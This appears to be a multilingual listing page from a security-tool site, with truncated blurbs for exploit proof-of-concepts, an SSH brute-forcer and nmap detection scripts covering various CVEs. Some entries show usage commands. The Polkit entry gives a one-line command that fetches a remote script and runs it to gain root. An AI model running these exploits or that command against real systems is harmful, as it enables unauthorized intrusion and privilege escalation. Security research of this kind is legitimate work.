pkwner

root@kitploit: ██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗ ██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗ ██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝ ██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗ ██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║ ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝...

SSHBuster

SSHBuster SSHBuster is a powerful command-line SSH brute-forcing tool designed for ethical hacking and penetration testing. It performs dictionary-based attacks to find valid SSH login credentials efficiently. Features Brute-force SSH servers using different username and password combinations...

CVE-2026-39842

CVE-2026-39842：OpenRemote 规则引擎中的表达式注入远程代码执行漏洞 摘要 OpenRemote 规则引擎中存在严重的远程代码执行漏洞，允许拥有 write:rules 角色的已认证用户在服务器上以 root 权限执行任意代码。 CVSS 评分 ：10.0（严重） CVSS 向量 ：CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 受影响版本 ：OpenRemote = 1.22.0 是否需要认证 ：是（write:rules 角色，可为非超级用户） 利用方式 ：以 root...

badblood

Bad Blood Bad Blood 是针对 CVE-2021-20038 的一个漏洞利用程序，该漏洞是使用固件版本 10.2.1.x 的 SMA-100 系列系统中 httpd 二进制文件内的一个基于栈的缓冲区溢出漏洞。我在这里写了很多技术细节： AttackerKB CVE-2021-20038 该漏洞利用程序（按当前编写方式）会在端口 1270 上打开一个 telnet 绑定 shell。连接到该 shell 的攻击者将以 nobody 身份执行操作。 示例输出 albinolobster@ubuntu:/badblood$ date Mon Jan 10 01:15:12 PM...

Metabase_Nmap_Script

MetabaseNmapScript 这是一个用于 Metabase 漏洞（CVE-2021-41277）的 nmap 脚本 用法 -- nmap -Pn -n -p443 --script metabase.nse -- PORT STATE SERVICE -- 443/tcp open https -- | metabase: -- | VULNERABLE: -- | Metabase CVE-2021-41277 -- | State: VULNERABLE 可利用 -- | IDs: CVE:CVE-2021-41277 -- | Metabase...

GravCMS_Nmap_Script

GravCMSNmapScript 这是一个针对 GravCMS 漏洞（CVE-2021-21425）的 nmap 脚本 用法 -- nmap -p443 --script gravcms.nse -- PORT STATE SERVICE -- 443/tcp open https -- | gravcms: -- | VULNERABLE: -- | GravCMS CVE-2021-21425 -- | State: VULNERABLE 可利用 -- | IDs: CVE:CVE-2021-21425 -- | GravCMS 未认证任意 YAML...

CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE Se descubrió que Chamilo LMS v1.11.14 contiene una vulnerabilidad de inyección de código de cero clics que permite a los atacantes ejecutar código arbitrario mediante un complemento manipulado. Esta vulnerabilidad se activa a través de la interacción del...

CVE-2021-24750

Cómo usar Inicia mysql, wordpress y wordpress-cli usando docker-compose root@kitploit: docker-compose -f docker-compose.yaml up -d Instala wordpress, activa el plugin y crea un usuario con el rol de suscriptor usando wordpress-cli root@kitploit: docker-compose run --rm wp-cli install-wp Inicia el...

marimo_CVE-2026-39987_RCE_PoC

markdown CVE-2026-39987 - Marimo Este script es SOLO para fines educativos y pruebas autorizadas. El uso no autorizado de esta herramienta contra sistemas sin permiso explícito es ILEGAL. El autor no se hace responsable del mal uso de esta información. 📋 Descripción Marimo versions anteriores a l...

CVE-2026-0628-POC

CVE-2026-0628-POC Prueba de concepto PoC para CVE-2026-0628, que demuestra la inyección de scripts en páginas privilegiadas mediante el uso de la etiqueta en Google Chrome. Esta vulnerabilidad, clasificada como CWE-862 Missing Authorization, permite a una extensión maliciosa eludir políticas de...

CVE-2025-46817

CVE-2025-46817 – Redis Lua unpack 整数溢出（潜在 RCE） Redis Lua unpack 整数溢出 PoC，导致 8.2.1 版本堆栈膨胀并崩溃。 概述 Redis 8.2.1 内置的 Lua 5.1 中，unpack 实现使用有符号整数计算结果数量。精心构造的 start/end 索引会使算术运算发生回绕，绕过 luacheckstack，并强制 Lua 压入数十亿个结果。结合表索引回绕，这可能导致堆内存损坏并引发 RCE。 环境 Redis 服务器 8.2.1（或 8.2.2 之前的任何受影响版本） redis-cli 可本地网络访问 Redis...

CVE-2026-23869-Exploit

⚡ CVE-2026-23869 — React2DoS Denegación de Servicio Remota No Autenticada mediante el Protocolo Flight de React Agotamiento Cuadrático de CPU en la Deserialización de Mapas de Server Components Resumen • Cómo Funciona • Herramientas • Instalación • Uso • Nuclei • Solución • Aviso Legal Resumen de...

CVE-2021-3129-Script

CVE-2021-3129 Laravel = v8.4.2 调试模式：远程代码执行（CVE-2021-3129） 使用： root@kitploit: python3 exp.py http://127.0.0.1:8888 Try to use Laravel/RCE1 for exploitation. +exploit: Laravel/RCE1 Result: Try to use Laravel/RCE2 for exploitation. +exploit: Laravel/RCE2 Result: Try to use Laravel/RCE3 for...

CVE-2023-46805

19/01/2024 Update Updated with the latest info based on Assetnote's blog. Now three checks are executed before a status is shown, this also to better detect older versions of Avanti Blogs with analysis of the CVE: https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis...

CVE-2026-666

CVE-2026-666 - ShadowWeb 框架远程代码执行漏洞 描述 在 ShadowWeb 框架 3.2.1 之前的版本中发现了一个严重的远程代码执行（RCE）漏洞。该缺陷存在于框架的 ShadowParser 模块中的反序列化机制中，该模块在处理序列化数据负载时未能正确处理用户提供的输入。 未经身份验证的远程攻击者可以通过向托管基于 ShadowWeb 的应用程序的易受攻击服务器发送特制的 HTTP 请求来利用此漏洞。成功利用后，攻击者可以以应用程序服务器的权限在目标系统上执行任意代码，可能导致系统完全受损、数据窃取或部署恶意负载。 当 ShadowParser 模块启用时（...

CVE-2026-7089-XSS

home-service-system-unauth-stored-xss-admin-takeover 漏洞详情 字段| 详情 ---|--- 供应商| code-projects.org 产品| Home Service System In PHP 版本| 1.0 漏洞类型| 存储型跨站脚本（XSS） CWE| CWE-79 是否需要认证| 否 作者| Imad Alvi 描述 Home Service System In PHP 1.0 的 booking.php 文件中存在存储型跨站脚本（XSS）漏洞。未认证用户可以通过预订表单字段注入恶意 JavaScript...

CVE-2026-10289-XSS

酒店与旅游预订系统 - 存储型跨站脚本（XSS） 漏洞详情 字段| 详情 ---|--- 标题| 酒店与旅游预订系统 - 存储型跨站脚本（XSS） CVE ID| 待分配 厂商| code-projects.org 厂商 URL| https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ 产品| 酒店与旅游预订系统 版本| 1.0 漏洞类型| 存储型跨站脚本 CWE| CWE-79 CVSS 评分| 8.3（高危） CVSS 向量|...

vault-cve-2026-5006-audit

Kit de herramientas CVE-2026-5006 HCSEC-2026-32 Dos herramientas para trabajar con la vulnerabilidad de inyección de barras en políticas plantilladas de Vault: un recorrido interactivo para explicar y delimitar el problema, y un script de auditoría que comprueba un clúster en vivo y escribe los...

CVE-2026-51416

1. 摘要 漏洞类型 ：拒绝服务 / 无限制 HTTP 响应读取（CWE-400） 标记位置 ：backend/internal/handler/authwechatoauth.go:1149 漏洞描述 ：微信 OAuth 令牌交换过程使用 io.ReadAllresp.Body 将完整的上游 HTTP 响应体读入内存，在缓冲之前未强制执行任何最大大小限制。 2. 分析 步骤 1：检查 backend/internal/handler/authwechatoauth.go:1124 处标记的接收点 已审查标记函数及其周围 50 多行上下文。接收点是令牌交换辅助函数...

CVE-2021-3560

CVE-2021-3560 Exploit de root instantáneo de Polkit Puedes ejecutar un comando para obtener root en sistemas vulnerables a Polkit CVE-2021-3560 escribiendo: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" O puedes descargar el .sh o copiarlo y pegarlo...